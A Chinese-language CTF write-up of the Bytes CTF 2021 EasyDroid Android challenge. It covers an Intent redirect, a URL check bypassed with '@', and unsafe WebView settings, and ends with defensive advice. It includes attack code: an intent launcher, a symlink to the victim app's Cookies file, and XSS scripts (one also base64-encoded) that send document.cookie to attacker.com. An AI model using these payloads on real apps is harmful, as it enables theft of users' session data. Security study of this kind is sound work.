Bytes CTF 2021 EasyDroid 复现
字数 2094 2025-08-29 08:30:05
Bytes CTF 2021 EasyDroid 漏洞分析与复现
1. 应用概述
EasyDroid 是一个 Android 应用程序,存在多个安全漏洞,主要涉及 WebView 的不安全配置和 Intent 重定向问题。本教学文档将详细分析这些漏洞及其利用方法。
2. 应用组件分析
2.1 AndroidManifest.xml 分析
应用包含三个主要组件:
- MainActivity:导出的活动,存在 Intent 重定向漏洞
- TestActivity:非导出的活动,包含不安全的 WebView 配置
- FlagReceiver:广播接收器,将 Flag 保存到本地 Cookie 文件夹
2.2 组件详细分析
MainActivity
- 启动以
toutiao.com结尾的 WebView - 在
shouldOverrideUrlLoading方法中解析传入的协议 - 如果协议以
Intent开头,就会启动传入的 Intent - 漏洞点:URL 检查不严格,可通过构造特殊 URL 绕过检测
绕过方法:
http://toutiao.com@127.0.0.1:8080/easydroid.html
TestActivity
- 根据 Intent 传入的 URL 直接启动 WebView
- 不安全配置:
setJavaScriptEnabled(true):启用 JavaScriptsetAllowFileAccess(true):默认开启,允许访问本地文件
- 配合 MainActivity 的 Intent 重定向,可被恶意应用利用
FlagReceiver
- 将获取的 Flag 保存到本地 Cookie 文件夹
- 攻击目标:获取 Cookie 文件中的 Flag
3. 漏洞利用思路
3.1 攻击目标
获取应用目录下的 Cookie 文件信息,其中包含 Flag。
3.2 攻击步骤
-
利用 MainActivity 的 URL 检测漏洞:
- 构造特殊 URL 让应用访问恶意网站
- 绕过
toutiao.com检查
-
XSS 攻击注入:
- 在恶意网站中将 XSS 攻击脚本注入到目标程序的 Cookie 文件中
- 利用 WebView 的 JavaScript 执行能力
-
符号链接攻击:
- 在攻击应用中创建符号链接
- 将 .html 文件链接到目标程序的 Cookie 文件
-
执行 XSS 脚本:
- 通过恶意网站执行 .html 文件
- XSS 脚本将整个 Cookie 数据泄露
3.3 技术细节
WebView Cookie 存储机制
- 应用访问网页 20-30 秒后,会保存网页 Cookie 到手机
- 存储路径:
/data/data/<package_name>/app_webview/Cookies - 存储格式:所有网站 Cookie 信息以
key:value方式保存
XSS 攻击实现
方法一:利用 Image 对象
new Image().src = "http://attacker.com/steal?data=" + escape(document.cookie);
方法二:使用 XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attacker.com/steal", true);
xhr.send(document.cookie);
4. 攻击代码实现
4.1 攻击应用代码
启动 MainActivity 并传入恶意 URL:
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.bytectf.easydroid",
"com.bytectf.easydroid.MainActivity"));
intent.putExtra("url", "http://toutiao.com@127.0.0.1:8080/easydroid.html");
startActivity(intent);
4.2 恶意 HTML 文件
easydroid.html 内容:
<script>
// 第一步:启动存在漏洞的TestActivity
location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=http://attacker.com/malicious;end";
// 第二步:利用符号链接执行XSS攻击
// 这里需要配合符号链接将Cookie文件链接到.html文件
</script>
4.3 符号链接攻击
在攻击应用中创建符号链接:
// 创建符号链接,将恶意HTML文件链接到Cookie文件
Process process = Runtime.getRuntime().exec("ln -s /data/data/com.bytectf.easydroid/app_webview/Cookies /malicious.html");
4.4 XSS 注入脚本
exp.xml 内容(Base64 编码的恶意脚本):
// Base64 编码前
function stealCookie() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attacker.com/steal", true);
xhr.send(document.cookie);
}
stealCookie();
// Base64 编码后
ZnVuY3Rpb24gc3RlYWxDb29raWUoKSB7CiAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICB4aHIub3BlbigiUE9TVCIsICJodHRwOi8vYXR0YWNrZXIuY29tL3N0ZWFsIiwgdHJ1ZSk7CiAgICB4aHIuc2VuZChkb2N1bWVudC5jb29raWUpOwp9CnN0ZWFsQ29va2llKCk7
通过 eval(atob("BASE64_CODE")) 执行解码后的脚本。
5. 漏洞总结
5.1 考察点
- URL 检测不严格,导致可访问恶意网页
- Intent 重定向启动非导出的 TestActivity
- WebView 组件配置不当导致的 XSS 攻击
- 符号链接与文件访问的结合利用
5.2 漏洞点
-
MainActivity:
- WebView 未严格检查访问的 URL
- 提供 Intent 重定向接口
-
TestActivity:
- WebView 同时开启
setAllowFileAccess和setJavaScriptEnabled - 未限制访问的 URL,直接加载传入的 URL
- WebView 同时开启
-
整体设计:
- 敏感信息(Flag)存储在可被 WebView 访问的位置
- 缺乏适当的沙箱隔离
6. 防御建议
-
严格 URL 检查:
- 使用白名单机制验证 URL
- 正确处理 URL 中的特殊字符(如 @)
-
安全配置 WebView:
- 除非必要,不要启用
setJavaScriptEnabled - 禁用
setAllowFileAccess或限制文件访问范围 - 使用
setAllowFileAccessFromFileURLs(false)和setAllowUniversalAccessFromFileURLs(false)
- 除非必要,不要启用
-
Intent 处理:
- 避免直接启动传入的 Intent
- 对组件调用进行严格验证
-
敏感数据存储:
- 不要将敏感信息存储在 WebView 可访问的位置
- 使用加密存储或 Android 的安全存储机制
-
输入验证:
- 对所有外部输入进行严格验证
- 实施适当的输出编码防止 XSS
通过以上措施,可以有效防止此类漏洞被利用。